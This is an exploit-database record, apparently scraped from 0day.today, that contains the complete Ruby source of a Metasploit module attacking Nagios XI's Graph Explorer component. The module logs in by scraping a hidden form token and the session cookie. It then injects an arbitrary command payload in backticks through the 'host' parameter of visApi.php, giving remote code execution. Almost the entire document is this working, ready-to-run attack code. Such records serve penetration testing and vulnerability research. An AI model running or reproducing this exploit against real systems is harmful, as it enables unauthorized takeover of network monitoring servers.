Description
Exploit for unix platform in category remote exploits
{"id": "1337DAY-ID-19933", "type": "zdt", "bulletinFamily": "exploit", "title": "Nagios XI Network Monitor Graph Explorer Component Command Injection", "description": "Exploit for unix platform in category remote exploits", "published": "2012-12-09T00:00:00", "modified": "2012-12-09T00:00:00", "cvss": {"score": 0.0, "vector": "NONE"}, "cvss2": {}, "cvss3": {}, "href": "https://0day.today/exploit/description/19933", "reporter": "metasploit", "references": [], "cvelist": [], "immutableFields": [], "lastseen": "2018-01-01T09:06:42", "viewCount": 10, "enchantments": {"score": {"value": -0.1, "vector": "NONE"}, "dependencies": {}, "backreferences": {"references": [{"type": "openvas", "idList": ["OPENVAS:20014"]}]}, "exploitation": null, "vulnersScore": -0.1}, "sourceHref": "https://0day.today/exploit/19933", "sourceData": "##\r\n# This file is part of the Metasploit Framework and may be subject to\r\n# redistribution and commercial restrictions. Please see the Metasploit\r\n# Framework web site for more information on licensing and terms of use.\r\n# http://metasploit.com/framework/\r\n##\r\n \r\nrequire 'msf/core'\r\n \r\nclass Metasploit3 < Msf::Exploit::Remote\r\n Rank = ExcellentRanking\r\n \r\n include Msf::Exploit::Remote::HttpClient\r\n \r\n def initialize(info={})\r\n super(update_info(info,\r\n 'Name' => \"Nagios XI Network Monitor Graph Explorer Component Command Injection\",\r\n 'Description' => %q{\r\n This module exploits a vulnerability found in Nagios XI Network Monitor's\r\n component 'Graph Explorer'. An authenticated user can execute system commands\r\n by injecting it in several parameters, such as in visApi.php's 'host' parameter,\r\n which results in remote code execution.\r\n },\r\n 'License' => MSF_LICENSE,\r\n 'Author' =>\r\n [\r\n 'Daniel Compton <daniel.compton[at]ngssecure.com>', #Original discovery\r\n 'sinn3r'\r\n ],\r\n 'References' =>\r\n [\r\n [ 'OSVDB', '83552' ],\r\n [ 'BID', '54263' ],\r\n [ 'URL', 'http://packetstormsecurity.org/files/118497/Nagios-XI-Network-Monitor-2011R1.9-OS-Command-Injection.html' ]\r\n ],\r\n 'Payload' =>\r\n {\r\n 'BadChars' => \"\\x00\\x0d\\x0a\",\r\n 'Compat' =>\r\n {\r\n 'PayloadType' => 'cmd',\r\n 'RequiredCmd' => 'generic perl python ruby bash telnet',\r\n }\r\n },\r\n 'Platform' => ['unix'],\r\n 'Arch' => ARCH_CMD,\r\n 'Targets' =>\r\n [\r\n ['Graph Explorer Component prior to 1.3', {}]\r\n ],\r\n 'Privileged' => false,\r\n 'DisclosureDate' => \"Nov 30 2012\",\r\n 'DefaultTarget' => 0))\r\n \r\n register_options(\r\n [\r\n # URI isn't registered, because this is set by the installer.\r\n OptString.new('USERNAME', [true, 'The username to login as', 'nagiosadmin']),\r\n OptString.new('PASSWORD', [true, 'The password to use'])\r\n ], self.class)\r\n end\r\n \r\n \r\n def check\r\n res = send_request_raw({\r\n 'method' => 'GET',\r\n 'uri' => '/nagiosxi/includes/components/graphexplorer/visApi.php'\r\n })\r\n \r\n if res and res.code == 404\r\n print_error(\"Remote host does not have Graph Explorer installed.\")\r\n elsif res and res.body =~ /Your session has timed out/\r\n return Exploit::CheckCode::Detected\r\n end\r\n \r\n return Exploit::CheckCode::Safe\r\n end\r\n \r\n def get_login_data\r\n res = send_request_cgi({'uri'=>'/nagiosxi/login.php'})\r\n return '' if !res\r\n \r\n nsp = res.body.scan(/<input type='hidden' name='nsp' value='(.+)'>/).flatten[0] || ''\r\n cookie = (res.headers['Set-Cookie'] || '').scan(/nagiosxi=(\\w+); /).flatten[0] || ''\r\n return nsp, cookie\r\n end\r\n \r\n def is_loggedin(cookie)\r\n res = send_request_cgi({\r\n 'method' => 'GET',\r\n 'uri' => '/nagiosxi/index.php',\r\n 'cookie' => \"nagiosxi=#{cookie}\"\r\n })\r\n \r\n if res and res.body =~ /Logged in as: <a href=\".+\">#{datastore['USERNAME']}<\\/a>/\r\n return true\r\n else\r\n return false\r\n end\r\n end\r\n \r\n def login(nsp, cookie)\r\n res = send_request_cgi({\r\n 'method' => 'POST',\r\n 'uri' => '/nagiosxi/login.php',\r\n 'cookie' => \"nagiosxi=#{cookie}\",\r\n 'vars_post' => {\r\n 'nsp' => nsp,\r\n 'page' => 'auth',\r\n 'debug' => '',\r\n 'pageopt' => 'login',\r\n 'username' => datastore['USERNAME'],\r\n 'password' => datastore['PASSWORD'],\r\n 'loginButton' => 'Login'\r\n },\r\n 'headers' => {\r\n 'Origin' => \"http://#{rhost}\",\r\n 'Referer' => \"http://#{rhost}/nagiosxi/login.php\"\r\n }\r\n })\r\n \r\n return is_loggedin(cookie)\r\n end\r\n \r\n def exploit\r\n nsp, cookie = get_login_data\r\n if nsp.empty?\r\n print_error(\"Unable to retrieve hidden value 'nsp'\")\r\n return false\r\n end\r\n \r\n if login(nsp, cookie)\r\n print_status(\"Logged in as '#{datastore['USERNAME']}:#{datastore['PASSWORD']}'\")\r\n else\r\n print_error(\"Failed to login as '#{datastore['USERNAME']}:#{datastore['PASSWORD']}'\")\r\n return\r\n end\r\n \r\n print_status(\"Sending Command injection\")\r\n send_request_cgi({\r\n 'method' => 'GET',\r\n 'uri' => '/nagiosxi/includes/components/graphexplorer/visApi.php',\r\n 'cookie' => \"nagiosxi=#{cookie}\",\r\n 'vars_get' => {\r\n 'type' => 'stack',\r\n 'host' => \"localhost`#{payload.encoded}`\",\r\n 'service' => 'Swap_Usage',\r\n 'div' => 'visContainer1566841654',\r\n 'opt' => 'days'\r\n }\r\n })\r\n end\r\n \r\n \r\nend\n\n# 0day.today [2018-01-01] #", "_state": {"dependencies": 1647589307, "score": 1659703426, "epss": 1678811959}}
{}